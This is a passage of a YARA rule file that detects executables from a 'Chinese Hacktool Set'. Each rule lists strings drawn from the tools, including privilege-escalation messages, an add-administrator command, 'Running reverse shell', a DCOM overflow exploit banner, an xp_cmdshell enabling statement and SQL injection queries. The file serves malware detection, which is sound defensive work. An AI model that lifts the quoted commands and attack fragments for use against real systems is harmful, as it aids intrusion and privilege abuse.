		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "b554f0687a12ec3a137f321cc15e052ff219f28c"
		id = "3f1cc1b3-bce2-5a29-849e-ee7deb5e8809"

	strings:
		$s1 = "/churrasco/-->Usage: Churrasco.exe \"command to run\"" fullword ascii
		$s2 = "/churrasco/-->Done, command should have ran as SYSTEM!" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them
}

rule OtherTools_servu
{
	meta:
		description = "Chinese Hacktool Set - file svu.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "5c64e6879a9746a0d65226706e0edc7a"
		id = "b750d090-8726-5d21-98ba-6cb050cb7174"

	strings:
		$s0 = "MZKERNEL32.DLL" fullword ascii
		$s1 = "UpackByDwing@" fullword ascii
		$s2 = "GetProcAddress" fullword ascii
		$s3 = "WriteFile" fullword ascii

	condition:
		uint32( 0 ) == 0x454b5a4d and $s0 at 0 and filesize < 50KB and all of them
}

rule ustrrefadd
{
	meta:
		description = "Chinese Hacktool Set - file ustrrefadd.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "b371b122460951e74094f3db3016264c9c8a0cfa"
		id = "e6701e7e-bb15-5e0c-822b-3e29342e083c"

	strings:
		$s0 = "E-Mail  : admin@luocong.com" fullword ascii
		$s1 = "Homepage: http://www.luocong.com" fullword ascii
		$s2 = ": %d  -  " fullword ascii
		$s3 = "ustrreffix.dll" fullword ascii
		$s5 = "Ultra String Reference plugin v%d.%02d" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 320KB and all of them
}

rule XScanLib
{
	meta:
		description = "Chinese Hacktool Set - file XScanLib.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "c5cb4f75cf241f5a9aea324783193433a42a13b0"
		id = "e1e2cfad-7cbb-51c3-9b55-648c47af641e"

	strings:
		$s4 = "XScanLib.dll" fullword ascii
		$s6 = "Ports/%s/%d" fullword ascii
		$s8 = "DEFAULT-TCP-PORT" fullword ascii
		$s9 = "PlugCheckTcpPort" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 360KB and all of them
}

rule IDTools_For_WinXP_IdtTool
{
	meta:
		description = "Chinese Hacktool Set - file IdtTool.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "ebab6e4cb7ea82c8dc1fe4154e040e241f4672c6"
		id = "c157d467-87f8-59d5-a3ba-e4fbeeba767d"

	strings:
		$s2 = "IdtTool.sys" fullword ascii
		$s4 = "Idt Tool bY tMd[CsP]" fullword wide
		$s6 = "\\\\.\\slIdtTool" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 25KB and all of them
}

rule GoodToolset_ms11046
{
	meta:
		description = "Chinese Hacktool Set - file ms11046.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "f8414a374011fd239a6c6d9c6ca5851cd8936409"
		id = "a4703861-02a9-5d93-b6de-c3664ca8abb9"

	strings:
		$s1 = "[*] Token system command" fullword ascii
		$s2 = "[*] command add user 90sec 90sec" fullword ascii
		$s3 = "[*] Add to Administrators success" fullword ascii
		$s4 = "[*] User has been successfully added" fullword ascii
		$s5 = "Program: %s%s%s%s%s%s%s%s%s%s%s" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 840KB and 2 of them
}

rule Cmdshell32
{
	meta:
		description = "Chinese Hacktool Set - file Cmdshell32.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "3c41116d20e06dcb179e7346901c1c11cd81c596"
		id = "f1dfb5a1-4292-5895-8310-913cfdf4d9d0"

	strings:
		$s1 = "cmdshell.exe" fullword wide
		$s2 = "cmdshell" fullword ascii
		$s3 = "[Root@CmdShell ~]#" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 62KB and all of them
}

rule Sniffer_analyzer_SSClone_1210_full_version
{
	meta:
		description = "Chinese Hacktool Set - file Sniffer analyzer SSClone 1210 full version.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "6882125babb60bd0a7b2f1943a40b965b7a03d4e"
		id = "69dac4bf-483d-5888-a748-1a52cf372066"

	strings:
		$s0 = "http://www.vip80000.com/hot/index.html" fullword ascii
		$s1 = "GetConnectString" fullword ascii
		$s2 = "CnCerT.Safe.SSClone.dll" fullword ascii
		$s3 = "(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3580KB and all of them
}

rule x64_klock
{
	meta:
		description = "Chinese Hacktool Set - file klock.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "44825e848bc3abdb6f31d0a49725bb6f498e9ccc"
		id = "7065a4fb-c867-5a94-b6bb-5b60085bea15"

	strings:
		$s1 = "Bienvenue dans un processus distant" fullword wide
		$s2 = "klock.dll" fullword ascii
		$s3 = "Erreur : le bureau courant (" wide
		$s4 = "klock de mimikatz pour Windows" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 907KB and all of them
}

rule Dos_Down32
{
	meta:
		description = "Chinese Hacktool Set - file Down32.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "0365738acd728021b0ea2967c867f1014fd7dd75"
		id = "e56c254d-1238-5786-8e8a-f9122b0310a9"

	strings:
		$s2 = "C:\\Windows\\Temp\\Cmd.txt" fullword wide
		$s6 = "down.exe" fullword wide
		$s15 = "get_Form1" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 137KB and all of them
}

rule MarathonTool_2
{
	meta:
		description = "Chinese Hacktool Set - file MarathonTool.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "75b5d25cdaa6a035981e5a33198fef0117c27c9c"
		id = "20151673-6779-58ce-872c-81e74a96597d"

	strings:
		$s3 = "http://localhost/retomysql/pista.aspx?id_pista=1" fullword wide
		$s6 = "SELECT ASCII(SUBSTR(username,{0},1)) FROM USER_USERS" fullword wide
		$s17 = "/Blind SQL injection tool based in heavy queries" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them
}

rule scanms_scanms
{
	meta:
		description = "Chinese Hacktool Set - file scanms.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "47787dee6ddea2cb44ff27b6a5fd729273cea51a"
		id = "50393220-35ae-5d3b-ae3f-5d5eb036c043"

	strings:
		$s1 = "--- ScanMs Tool --- (c) 2003 Internet Security Systems ---" fullword ascii
		$s2 = "Scans for systems vulnerable to MS03-026 vuln" fullword ascii
		$s3 = "More accurate for WinXP/Win2k, less accurate for WinNT" fullword ascii
		$s4 = "added %d.%d.%d.%d-%d.%d.%d.%d" fullword ascii
		$s5 = "Internet Explorer 1.0" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and 3 of them
}

rule CN_Tools_PcShare
{
	meta:
		description = "Chinese Hacktool Set - file PcShare.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "ee7ba9784fae413d644cdf5a093bd93b73537652"
		id = "0c4e9f9b-9839-56a0-be21-a4e9f19cdfdb"

	strings:
		$s0 = "title=%s%s-%s;id=%s;hwnd=%d;mainhwnd=%d;mainprocess=%d;cmd=%d;" fullword wide
		$s1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)" fullword wide
		$s2 = "http://www.pcshares.cn/pcshare200/lostpass.asp" fullword wide
		$s5 = "port=%s;name=%s;pass=%s;" fullword wide
		$s16 = "%s\\ini\\*.dat" fullword wide
		$s17 = "pcinit.exe" fullword wide
		$s18 = "http://www.pcshare.cn" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 6000KB and 3 of them
}

rule pw_inspector
{
	meta:
		description = "Chinese Hacktool Set - file pw-inspector.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "4f8e3e101098fc3da65ed06117b3cb73c0a66215"
		id = "888db647-c5d0-5b1b-bcd2-512c1ebeadea"

	strings:
		$s1 = "-m MINLEN  minimum length of a valid password" fullword ascii
		$s2 = "http://www.thc.org" fullword ascii
		$s3 = "Use for hacking: trim your dictionary file to the pw requirements of the target." fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 460KB and all of them
}

rule Dll_LoadEx
{
	meta:
		description = "Chinese Hacktool Set - file Dll_LoadEx.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "213d9d0afb22fe723ff570cf69ff8cdb33ada150"
		id = "51235448-751e-51ce-93f8-da48eddb2b7f"

	strings:
		$s0 = "WiNrOOt@126.com" fullword wide
		$s1 = "Dll_LoadEx.EXE" fullword wide
		$s3 = "You Already Loaded This DLL ! :(" ascii
		$s10 = "Dll_LoadEx Microsoft " fullword wide
		$s17 = "Can't Load This Dll ! :(" ascii
		$s18 = "WiNrOOt" fullword wide
		$s20 = " Dll_LoadEx(&A)..." fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 120KB and 3 of them
}

rule dat_report
{
	meta:
		description = "Chinese Hacktool Set - file report.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "4582a7c1d499bb96dad8e9b227e9d5de9becdfc2"
		id = "c77633a7-0c2f-5efa-b58b-635546bfec95"

	strings:
		$s1 = "<a href=\"http://www.xfocus.net\">X-Scan</a>" fullword ascii
		$s2 = "REPORT-ANALYSIS-OF-HOST" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 480KB and all of them
}

rule Dos_iis7
{
	meta:
		description = "Chinese Hacktool Set - file iis7.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "0a173c5ece2fd4ac8ecf9510e48e95f43ab68978"
		id = "8813b7a2-0d44-5f26-80ab-0f493c09a027"

	strings:
		$s0 = "\\\\localhost" fullword ascii
		$s1 = "iis.run" fullword ascii
		$s3 = ">Could not connecto %s" fullword ascii
		$s5 = "WHOAMI" ascii
		$s13 = "WinSta0\\Default" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 140KB and all of them
}

rule SwitchSniffer
{
	meta:
		description = "Chinese Hacktool Set - file SwitchSniffer.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "1e7507162154f67dff4417f1f5d18b4ade5cf0cd"
		id = "6019f042-10ab-5899-8b1b-28b2609e9623"

	strings:
		$s0 = "NextSecurity.NET" fullword wide
		$s2 = "SwitchSniffer Setup" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule dbexpora
{
	meta:
		description = "Chinese Hacktool Set - file dbexpora.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "b55b007ef091b2f33f7042814614564625a8c79f"
		id = "43297ce9-60f3-5b69-b7d8-904fffe622fe"

	strings:
		$s0 = "SELECT A.USER FROM SYS.USER_USERS A " fullword ascii
		$s12 = "OCI 8 - OCIDescriptorFree" fullword ascii
		$s13 = "ORACommand *" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 835KB and all of them
}

rule SQLCracker
{
	meta:
		description = "Chinese Hacktool Set - file SQLCracker.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "1aa5755da1a9b050c4c49fc5c58fa133b8380410"
		id = "7d7ff2cf-81fb-5a04-a97f-577c306137a9"

	strings:
		$s0 = "msvbvm60.dll" fullword ascii
		$s1 = "_CIcos" fullword ascii
		$s2 = "kernel32.dll" fullword ascii
		$s3 = "cKmhV" fullword ascii
		$s4 = "080404B0" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 125KB and all of them
}

rule FreeVersion_debug
{
	meta:
		description = "Chinese Hacktool Set - file debug.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "d11e6c6f675b3be86e37e50184dadf0081506a89"
		id = "2d69a39a-0da5-56ca-87a5-9116dea6c950"

	strings:
		$s0 = "c:\\Documents and Settings\\Administrator\\" ascii
		$s1 = "Got WMI process Pid: %d" ascii
		$s2 = "This exploit will execute" ascii
		$s6 = "Found token %s " ascii
		$s7 = "Running reverse shell" ascii
		$s10 = "wmiprvse.exe" fullword ascii
		$s12 = "SELECT * FROM IIsWebInfo" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 820KB and 3 of them
}

rule Dos_look
{
	meta:
		description = "Chinese Hacktool Set - file look.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "e1a37f31170e812185cf00a838835ee59b8f64ba"
		id = "910d1469-9173-5a7d-91ea-a50ee921f662"

	strings:
		$s1 = "<description>CHKen QQ:41901298</description>" fullword ascii
		$s2 = "version=\"9.9.9.9\"" fullword ascii
		$s3 = "name=\"CH.Ken.Tool\"" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 40KB and all of them
}

rule NtGodMode
{
	meta:
		description = "Chinese Hacktool Set - file NtGodMode.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "8baac735e37523d28fdb6e736d03c67274f7db77"
		id = "3de620bf-0405-536b-9f6d-3a7f02417b20"

	strings:
		$s0 = "to HOST!" fullword ascii
		$s1 = "SS.EXE" fullword ascii
		$s5 = "lstrlen0" fullword ascii
		$s6 = "Virtual" fullword ascii
		$s19 = "RtlUnw" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 45KB and all of them
}

rule WebCrack4_RouterPasswordCracking
{
	meta:
		description = "Chinese Hacktool Set - file WebCrack4-RouterPasswordCracking.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "00c68d1b1aa655dfd5bb693c13cdda9dbd34c638"
		id = "e3d50ff8-e58d-5c60-9acd-25ba95a21f68"

	strings:
		$s0 = "http://www.site.com/test.dll?user=%USERNAME&pass=%PASSWORD" fullword ascii
		$s1 = "Username: \"%s\", Password: \"%s\", Remarks: \"%s\"" fullword ascii
		$s14 = "user:\"%s\" pass: \"%s\" result=\"%s\"" fullword ascii
		$s16 = "Mozilla/4.0 (compatible; MSIE 4.01; Windows NT)" fullword ascii
		$s20 = "List count out of bounds (%d)+Operation not allowed on sorted string list%String" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and 2 of them
}

rule hscan_gui
{
	meta:
		description = "Chinese Hacktool Set - file hscan-gui.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "1885f0b7be87f51c304b39bc04b9423539825c69"
		id = "27f9d2e9-0a62-57ca-9061-c32945c59c7e"

	strings:
		$s0 = "Hscan.EXE" fullword wide
		$s1 = "RestTool.EXE" fullword ascii
		$s3 = "Hscan Application " fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 550KB and all of them
}

rule S_MultiFunction_Scanners_s
{
	meta:
		description = "Chinese Hacktool Set - file s.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "79b60ffa1c0f73b3c47e72118e0f600fcd86b355"
		id = "7fb90a59-116d-5fa7-b85b-cbb1af660666"

	strings:
		$s0 = "C:\\WINDOWS\\temp\\pojie.exe /l=" fullword ascii
		$s1 = "C:\\WINDOWS\\temp\\s.exe" fullword ascii
		$s2 = "C:\\WINDOWS\\temp\\s.exe tcp " fullword ascii
		$s3 = "explorer.exe http://www.hackdos.com" fullword ascii
		$s4 = "C:\\WINDOWS\\temp\\pojie.exe" fullword ascii
		$s5 = "Failed to read file or invalid data in file!" fullword ascii
		$s6 = "www.hackdos.com" fullword ascii
		$s7 = "WTNE / MADE BY E COMPILER - WUTAO " fullword ascii
		$s11 = "The interface of kernel library is invalid!" fullword ascii
		$s12 = "eventvwr" fullword ascii
		$s13 = "Failed to decompress data!" fullword ascii
		$s14 = "NOTEPAD.EXE result.txt" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 8000KB and 4 of them
}

rule HKTL_CN_Dos_GetPass
{
	meta:
		description = "Chinese Hacktool Set - file GetPass.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		modified = "2023-01-06"
		old_rule_name = "Dos_GetPass"
		hash = "d18d952b24110b83abd17e042f9deee679de6a1a"
		id = "08635096-474c-5fdf-825e-6c7c8c8d4061"

	strings:
		$s0 = "GetLogonS" ascii
		$s3 = "/showthread.php?t=156643" ascii
		$s8 = "To Run As Administ" ascii
		$s18 = "EnableDebugPrivileg" fullword ascii
		$s19 = "sedebugnameValue" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 890KB and all of them
}

rule HKTL_CN_update_PcMain
{
	meta:
		description = "Chinese Hacktool Set - file PcMain.dll"
		author = "Florian Roth (Nextron Systems)"
		score = 90
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		modified = "2023-01-06"
		old_rule_name = "update_PcMain"
		hash = "aa68323aaec0269b0f7e697e69cce4d00a949caa"
		id = "24c9ba6f-0772-59c9-8bea-3a8bf7823e4c"

	strings:
		$s0 = "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322" ascii
		$s1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost" fullword ascii
		$s2 = "SOFTWARE\\Classes\\HTTP\\shell\\open\\command" fullword ascii
		$s3 = "\\svchost.exe -k " ascii
		$s4 = "SYSTEM\\ControlSet001\\Services\\%s" fullword ascii
		$s9 = "Global\\%s-key-event" fullword ascii
		$s10 = "%d%d.exe" fullword ascii
		$s14 = "%d.exe" fullword ascii
		$s15 = "Global\\%s-key-metux" fullword ascii
		$s18 = "GET / HTTP/1.1" fullword ascii
		$s19 = "\\Services\\" ascii
		$s20 = "qy001id=%d;qy001guid=%s" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and 4 of them
}

rule HKTL_CN_Dos_sys
{
	meta:
		description = "Chinese Hacktool Set - file sys.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		modified = "2023-01-06"
		old_rule_name = "Dos_sys"
		hash = "b5837047443f8bc62284a0045982aaae8bab6f18"
		id = "c4b740f2-f4f8-59ff-ad1f-c06718040b50"

	strings:
		$s0 = "'SeDebugPrivilegeOpen " fullword ascii
		$s6 = "Author: Cyg07*2" fullword ascii
		$s12 = "from golds7n[LAG]'J" fullword ascii
		$s14 = "DAMAGE" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 150KB and all of them
}

rule HKTL_CN_dat_xpf
{
	meta:
		description = "Chinese Hacktool Set - file xpf.sys"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		modified = "2023-01-06"
		old_rule_name = "dat_xpf"
		hash = "761125ab594f8dc996da4ce8ce50deba49c81846"
		id = "fe2de535-4f86-5c29-b67e-153423a897f7"

	strings:
		$s1 = "UnHook IoGetDeviceObjectPointer ok!" fullword ascii
		$s2 = "\\Device\\XScanPF" wide
		$s3 = "\\DosDevices\\XScanPF" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 25KB and all of them
}

rule HKTL_CN_Project1
{
	meta:
		description = "Chinese Hacktool Set - file Project1.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		modified = "2023-01-06"
		old_rule_name = "Project1"
		hash = "d1a5e3b646a16a7fcccf03759bd0f96480111c96"
		id = "12cc7a82-d7a9-58c6-b283-3bb0df477cd8"

	strings:
		$s1 = "EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'" fullword ascii
		$s2 = "Password.txt" fullword ascii
		$s3 = "LoginPrompt" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and all of them
}

rule Arp_EMP_v1_0
{
	meta:
		description = "Chinese Hacktool Set - file Arp EMP v1.0.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "ae4954c142ad1552a2abaef5636c7ef68fdd99ee"
		id = "b2552f26-47ac-5fa0-941e-d674f9deccac"

	strings:
		$s0 = "Arp EMP v1.0.exe" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and all of them
}

rule CN_Tools_MyUPnP
{
	meta:
		description = "Chinese Hacktool Set - file MyUPnP.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "15b6fca7e42cd2800ba82c739552e7ffee967000"
		id = "394e19d3-882e-5a7c-a3a0-e662bd67955c"

	strings:
		$s1 = "<description>BYTELINKER.COM</description>" fullword ascii
		$s2 = "myupnp.exe" fullword ascii
		$s3 = "LOADER ERROR" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1500KB and all of them
}

rule CN_Tools_Shiell
{
	meta:
		description = "Chinese Hacktool Set - file Shiell.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "b432d80c37abe354d344b949c8730929d8f9817a"
		id = "7ac7d79d-3f4e-54e7-bb97-ce94cbbb40a2"

	strings:
		$s1 = "C:\\Users\\Tong\\Documents\\Visual Studio 2012\\Projects\\Shift shell" ascii
		$s2 = "C:\\Windows\\System32\\Shiell.exe" fullword wide
		$s3 = "Shift shell.exe" fullword wide
		$s4 = "\" /v debugger /t REG_SZ /d \"" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1500KB and 2 of them
}

rule cndcom_cndcom
{
	meta:
		description = "Chinese Hacktool Set - file cndcom.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "08bbe6312342b28b43201125bd8c518531de8082"
		id = "b1acfe34-03b8-5909-a226-3325fe8629ab"

	strings:
		$s1 = "- Rewritten by HDM last <hdm [at] metasploit.com>" fullword ascii
		$s2 = "- Usage: %s <Target ID> <Target IP>" fullword ascii
		$s3 = "- Remote DCOM RPC Buffer Overflow Exploit" fullword ascii
		$s4 = "- Warning:This Code is more like a dos tool!(Modify by pingker)" fullword ascii
		$s5 = "Windows NT SP6 (Chinese)" fullword ascii
		$s6 = "- Original code by FlashSky and Benjurry" fullword ascii
		$s7 = "\\C$\\123456111111111111111.doc" wide
		$s8 = "shell3all.c" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 2 of them
}

rule IsDebug_V1_4
{
	meta:
		description = "Chinese Hacktool Set - file IsDebug V1.4.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "ca32474c358b4402421ece1cb31714fbb088b69a"
		id = "f9b4a909-e0e5-5708-8794-39250b9d56cc"

	strings:
		$s0 = "IsDebug.dll" fullword ascii
		$s1 = "SV Dumper V1.0" fullword wide
		$s2 = "(IsDebuggerPresent byte Patcher)" fullword ascii
		$s8 = "Error WriteMemory failed" fullword ascii
		$s9 = "IsDebugPresent" fullword ascii
		$s10 = "idb_Autoload" fullword ascii
		$s11 = "Bin Files" fullword ascii
		$s12 = "MASM32 version" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 30KB and all of them
}

rule HTTPSCANNER
{
	meta:
		description = "Chinese Hacktool Set - file HTTPSCANNER.EXE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "ae2929346944c1ea3411a4562e9d5e2f765d088a"
		id = "470c90f5-bb98-59ab-bff4-f6238c318e36"

	strings:
		$s1 = "HttpScanner.exe" fullword wide
		$s2 = "HttpScanner" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3500KB and all of them
}

rule HScan_v1_20_PipeCmd
{
	meta:
		description = "Chinese Hacktool Set - file PipeCmd.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "64403ce63b28b544646a30da3be2f395788542d6"
		id = "957a8e3b-5f6c-5f3e-8973-88259c9cb0dc"

	strings:
		$s1 = "%SystemRoot%\\system32\\PipeCmdSrv.exe" fullword ascii
		$s2 = "PipeCmd.exe" fullword wide
		$s3 = "Please Use NTCmd.exe Run This Program." fullword ascii
		$s4 = "%s\\pipe\\%s%s%d" fullword ascii
		$s5 = "\\\\.\\pipe\\%s%s%d" fullword ascii
		$s6 = "%s\\ADMIN$\\System32\\%s%s" fullword ascii
		$s7 = "This is a service executable! Couldn't start directly." fullword ascii
		$s8 = "Connecting to Remote Server ...Failed" fullword ascii
		$s9 = "PIPECMDSRV" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 4 of them
}

rule Dos_fp
{
	meta:
		description = "Chinese Hacktool Set - file fp.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
